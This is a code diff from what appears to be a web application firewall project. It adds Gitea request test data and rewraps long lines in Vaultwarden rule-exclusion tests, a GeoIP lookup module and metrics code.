+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}

internal/coreruleset/testdata/gitea-requests.txt

@@ -91,6 +91,17 @@
 /explore/organizations?q=docker-ci
 /api/v1/users/search?q=docker-ci
 
+# Searches of the repositories on a user's and an organisation's page, recorded
+# from gitea 1.27.3.
+/alice?tab=repositories&q=ls+-la&sort=recentupdate
+/alice?tab=repositories&q=python3&sort=recentupdate
+/alice?tab=repositories&q=powershell&sort=recentupdate
+/alice?tab=repositories&q=.htaccess&sort=recentupdate
+/acme?q=ls+-la&sort=recentupdate
+/acme?q=python3&sort=recentupdate
+/acme?q=powershell&sort=recentupdate
+/acme?q=.htaccess&sort=recentupdate
+
 # Pages, raw files and edit pages of files, and the API's call for their
 # contents.
 /owner/repo/src/branch/main/package.json

internal/coreruleset/vaultwarden_test.go

@@ -68,18 +68,53 @@ var vaultwardenNameFields = []vaultwardenField{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
 		`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
 	},
-	{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
+	{
-	{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
+		http.MethodPut,
+		vaultwardenProfile,
+		jsonBody,
+		`{"name":"VALUE","culture":"en-US"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenPassword,
+		jsonBody,
+		`{"masterPasswordHint":"VALUE"}`,
+	},
 	{
 		http.MethodPost, "/api/organizations", jsonBody,
 		`{"name":"VALUE","billingEmail":"billing@example.com"}`,
 	},
 	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
-	{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
+	{
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
+		http.MethodPost,
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
+		vaultwardenOrganization + "/groups",
-	{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
+		jsonBody,
-	{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
+		`{"name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"invitation_org_name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_from_name":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSecurityKey,
+		jsonBody,
+		`{"id":1,"name":"VALUE"}`,
+	},
+	{
+		http.MethodPut,
+		vaultwardenSecurityKey,
+		jsonBody,
+		`{"id":1,"name":"VALUE"}`,
+	},
 }
 
 // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -91,8 +126,18 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, "/identity/connect/token", formData,
 		"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
 	},
-	{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
+	{
-	{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
+		http.MethodPost,
+		"/identity/accounts/prelogin/password",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSignUp,
+		jsonBody,
+		`{"email":"VALUE","name":"Alice"}`,
+	},
 	{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
 	{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -106,34 +151,84 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, vaultwardenPassword, jsonBody,
 		`{"authenticationData":{"salt":"VALUE"}}`,
 	},
-	{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
+	{
+		http.MethodPost,
+		vaultwardenPassword,
+		jsonBody,
+		`{"unlockData":{"salt":"VALUE"}}`,
+	},
 	{
 		http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
 		`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
 	},
-	{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
+	{
-	{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
+		http.MethodPost,
+		"/api/accounts/password-hint",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		"/api/accounts/email-token",
+		jsonBody,
+		`{"newEmail":"VALUE"}`,
+	},
 	{
 		http.MethodPost, "/api/emergency-access/invite", jsonBody,
 		`{"email":"VALUE","type":0}`,
 	},
-	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
+	{
+		http.MethodPut,
+		vaultwardenOrganization,
+		jsonBody,
+		`{"billingEmail":"VALUE"}`,
+	},
 	{
 		http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
 		`{"emails":["alice@example.com","VALUE"],"type":2}`,
 	},
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
+	{
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
+		http.MethodPost,
-	{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_from":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"smtp_username":"VALUE"}`,
+	},
+	{
+		http.MethodPost,
+		vaultwardenSettings,
+		jsonBody,
+		`{"org_creation_users":"VALUE"}`,
+	},
 	{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
 	{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
-	{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
+	{
-	{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
+		http.MethodPost,
+		"/api/two-factor/send-email-login",
+		jsonBody,
+		vaultwardenEmail,
+	},
+	{
+		http.MethodPost,
+		"/api/two-factor/send-email",
+		jsonBody,
+		vaultwardenEmail,
+	},
 	{
 		http.MethodPut, "/api/two-factor/email", jsonBody,
 		`{"email":"VALUE","token":"123456"}`,
 	},
-	{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
+	{
+		http.MethodPost,
+		"/api/auth-requests",
+		jsonBody,
+		`{"email":"VALUE","type":0}`,
+	},
 }
 
 // vaultwardenBreachReport is the data breach report, which sends an address
@@ -256,7 +351,12 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, refused.body)
 		if got.Score < vaultwardenThreshold {
-			t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
+			t.Errorf(
+				"POST %s %s let through: %+v",
+				refused.target,
+				refused.body,
+				got,
+			)
 		}
 	}
 
@@ -292,7 +392,8 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
 func masterPasswordHashes(count int) []string {
 	const size, seed = 32, 288
 
-	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
+	//nolint:gosec // a fixed sample
+	random := rand.New(rand.NewPCG(seed, seed))
 
 	hashes := make([]string, count)
 
@@ -340,8 +441,15 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
 		}
 
-		if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
+		if got, _ := inspectBody(t, crs, sent.r, body); len(
-			t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
+			got.RuleIDs,
+		) != 0 {
+			t.Errorf(
+				"POST %s %v set off rules: %+v",
+				sent.r.target,
+				sent.names,
+				got,
+			)
 		}
 	}
 }
@@ -350,7 +458,9 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
+	encrypted := vaultwardenUpload(
+		"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
+	)
 
 	for _, target := range []string{
 		vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",

internal/lookup/file.go

@@ -26,7 +26,7 @@ type FileParams struct {
 	// Path is the lookup database, the IPinfo Lite file in its .mmdb form
 	// (SWW_LOOKUP_DB_PATH).
 	Path string
-	// Now tells the time, normally time.Now.
+	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives each reading of the file, and why a replacement
 	// of it cannot be read.
@@ -236,7 +236,11 @@ func read(path string) (*maxminddb.Reader, error) {
 
 	reader, err := maxminddb.OpenBytes(data)
 	if err != nil {
-		return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
+		return nil, fmt.Errorf(
+			"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
+			path,
+			err,
+		)
 	}
 
 	return reader, nil

internal/lookup/file_internal_test.go

@@ -26,11 +26,21 @@ const (
 	testClient   = "203.0.113.9/32"
 )
 
-func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
+func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
+	germany := lookuptest.Network{
-	northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
+		ASN:     "AS64496",
+		ASName:  "Example Net",
+		Country: "DE",
+	}
+	northKorea := lookuptest.Network{
+		ASN:     "AS64511",
+		ASName:  "Other Net",
+		Country: "KP",
+	}
 	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
 		testNetblock:    germany,
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
 			Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
 			Answered: now,
 		}) {
-			t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
+			t.Errorf(
+				"%s has the answer %+v, want %+v, answered %s",
+				client,
+				got,
+				want,
+				now,
+			)
 		}
 	}
 }
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
 // reading due by then is done. The test sends the changes itself, as the
 // watch of a directory cannot run in a bubble.
 
-func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
+func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
 		other := filepath.Join(dir, "replacement.mmdb")
 		writeDatabase(t, other, "KP")
 
-		replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
+		//nolint:gosec // a file the test wrote
+		replacement, err := os.ReadFile(other)
 		if err != nil {
 			t.Fatalf("read %s: %v", other, err)
 		}
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
 		wantCountry(t, f, "KP")
 
 		if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
-			t.Errorf("read at %s, with %d failures; want read now, with none",
+			t.Errorf(
-				f.LastRead(), f.ReadFailures())
+				"read at %s, with %d failures; want read now, with none",
+				f.LastRead(),
+				f.ReadFailures(),
+			)
 		}
 
 		wantAlerts(t, queue)
 	})
 }
 
-func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
+func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
 		wantCountry(t, f, "DE")
 
 		if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
-			t.Errorf("read at %s, with %d failures; want read at %s, with one",
+			t.Errorf(
-				f.LastRead(), f.ReadFailures(), read)
+				"read at %s, with %d failures; want read at %s, with one",
+				f.LastRead(),
+				f.ReadFailures(),
+				read,
+			)
 		}
 
 		wantAlerts(t, queue, alerts.Alert{
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
+		testNetblock: {
+			ASN:     "AS64496",
+			ASName:  "Example Net",
+			Country: country,
+		},
 	})
 }
 
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
 	t.Helper()
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
-	if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
+	if len(waiting) != len(want) ||
+		(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
 		t.Errorf("alerts waiting %+v, want %+v", waiting, want)
 	}
 

internal/lookup/lookup.go

@@ -74,7 +74,7 @@ type Params struct {
 	// Answered, unless nil, is given each answer GeoJS gives, once it is
 	// kept.
 	Answered func(Answer)
-	// Now tells the time, normally time.Now.
+	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives GeoJS's failures.
 	ProcessLog *slog.Logger
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
 
 // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
 // whatever Wait says: it returns the zero Answer at once when none is kept.
-func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
+func (g *GeoJS) LookUpWithoutWaiting(
+	ctx context.Context,
+	client netip.Prefix,
+) Answer {
 	answer, _ := g.answerOrWait(ctx, client, false)
 
 	return answer
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
 	}
 
 	if err == nil && leftOut > 0 {
-		err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
+		err = fmt.Errorf(
+			"%w %d of %d addresses",
+			errLeftOut,
+			leftOut,
+			len(clients),
+		)
 	}
 
 	if err != nil {
 		g.metrics.GeoJSFailures.Inc()
 
-		g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
+		g.retryDelay = min(
-			maxRetryDelay)
+			max(retryDelayFactor*g.retryDelay, firstRetryDelay),
+			maxRetryDelay,
+		)
 		g.retryAt = now.Add(g.retryDelay)
 		g.asking = false
 
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
 	ctx, cancel := context.WithTimeout(ctx, g.timeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		g.url,
+		http.NoBody,
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request to GeoJS: %w", err)
 	}
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
 		CountryCode string `json:"country_code"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
+	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
+		Decode(&answers)
 	if err != nil {
 		return nil, fmt.Errorf("read GeoJS's answer: %w", err)
 	}

internal/lookup/lookup_test.go

@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		began := time.Now()
 		answer := g.LookUpWithoutWaiting(t.Context(), client)
 
-		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
+		if waited := time.Since(began); waited != 0 ||
-			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
+			answer != (lookup.Answer{}) {
+			t.Errorf(
+				"got %+v after %s, want no answer at once",
+				answer,
+				waited,
+			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		waitForCountry(t, g, clock, client, germany)
 
 		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
-			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
+			t.Errorf(
+				"the kept answer gives the country %q, want %q",
+				got,
+				germany,
+			)
 		}
 	})
 }
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 
 		var earlier sync.WaitGroup
 
-		earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
+		earlier.Go(
+			func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
+		)
 		defer earlier.Wait()
 
 		waitForRequests(t, geojs, 1)
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	})
 }
 
-func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
+func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
 		synctest.Wait()
 
 		if waited != longerTimeout {
-			t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
+			t.Errorf(
+				"waited %s for the answer, want %s",
+				waited,
+				longerTimeout,
+			)
 		}
 
 		wantFailures(t, m, 1)
@@ -340,7 +357,11 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
 
 		got := g.LookUp(t.Context(), client)
 		if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
-			t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
+			t.Errorf(
+				"waited %s for %+v, want no wait and no answer",
+				took,
+				got,
+			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -391,7 +412,10 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged, "asking GeoJS failed") ||
 			strings.Contains(logged, "203.0.113.9") {
-			t.Errorf("logged %q, want the failure without the address asked about", logged)
+			t.Errorf(
+				"logged %q, want the failure without the address asked about",
+				logged,
+			)
 		}
 	})
 }
@@ -430,7 +454,10 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
 		}
 
 		if queue.Suppressed() != 1 {
-			t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			t.Errorf(
+				"%d alerts held back, want the repeat",
+				queue.Suppressed(),
+			)
 		}
 	})
 }
@@ -454,11 +481,21 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
 		clock.advance(time.Second)
 		wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
 		wantRequests(t, geojs, 2)
-		wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
+		wantAsked(
+			t,
+			geojs,
+			1,
+			"203.0.113.1",
+			"203.0.113.2",
+			"2001:db8:1:2::",
+			"203.0.113.3",
+		)
 	})
 }
 
-func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
+func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -503,7 +540,10 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing
 
 		asked := waitForRequests(t, geojs, requests+1)
 		if len(asked[requests]) != 23 {
-			t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
+			t.Errorf(
+				"GeoJS was asked about %d clients, want 23",
+				len(asked[requests]),
+			)
 		}
 	})
 }
@@ -531,8 +571,11 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
 
 		asked := waitForRequests(t, geojs, 3)
 		if len(asked[1]) != 200 || len(asked[2]) != 1 {
-			t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
+			t.Errorf(
-				len(asked[1]), len(asked[2]))
+				"GeoJS was asked about %d and then %d clients, want 200 and 1",
+				len(asked[1]),
+				len(asked[2]),
+			)
 		}
 	})
 }
@@ -687,7 +730,11 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 		switch {
 		case addr == unplaced:
-			item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
+			item = map[string]any{
+				"ip":                addr,
+				"asn":               64512,
+				"organization_name": "Unknown",
+			}
 		case addr == leftOut && answers == answeringWithoutLeftOut:
 			continue
 		case answers == answeringInLowerCase:
@@ -804,7 +851,12 @@ func newClients() func() netip.Prefix {
 }
 
 // wantCountry checks the country g gives client.
-func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
+func wantCountry(
+	t *testing.T,
+	g *lookup.GeoJS,
+	client netip.Prefix,
+	want string,
+) {
 	t.Helper()
 
 	got := g.LookUp(t.Context(), client).Country
@@ -843,7 +895,11 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
 
 // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
 // gone without an answer from GeoJS.
-func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
+func wantRequestsWithoutGeoJSAnswer(
+	t *testing.T,
+	m *metrics.Metrics,
+	want float64,
+) {
 	t.Helper()
 
 	got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -883,7 +939,11 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
 // It then checks that client's next request does not wait but has it asked
 // about again in the background, after which g gives it the country want.
 func waitForCountry(
-	t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
+	t *testing.T,
+	g *lookup.GeoJS,
+	clock *testClock,
+	client netip.Prefix,
+	want string,
 ) {
 	t.Helper()
 

internal/lookup/lookuptest/lookuptest.go

@@ -45,7 +45,11 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
 
 // WriteRecords writes a lookup database at path that holds each record in
 // records for its netblock, and nothing for any other address.
-func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
+func WriteRecords(
+	tb testing.TB,
+	path string,
+	records map[string]mmdbtype.Map,
+) {
 	tb.Helper()
 
 	tree, err := mmdbwriter.New(mmdbwriter.Options{

internal/lookup/snapshot_test.go

@@ -59,7 +59,10 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
 	g.Load([]lookup.Answer{kept, stale})
 
 	if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
-		t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
+		t.Errorf(
+			"kept %+v, want only the answer GeoJS gave less than 7 days ago",
+			got,
+		)
 	}
 
 	wantCountry(t, g, kept.Client, "FR")

internal/metrics/busiest.go

@@ -41,9 +41,11 @@ type busiest struct {
 // for the topN busiest countries.
 func newCountries(topN int) *busiest {
 	countries := newBusiest(topN, "country", "the client's country")
-	countries.refused = counterVec("sww_country_list_refusals_total",
+	countries.refused = counterVec(
+		"sww_country_list_refusals_total",
 		"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
-		[]string{"country"})
+		[]string{"country"},
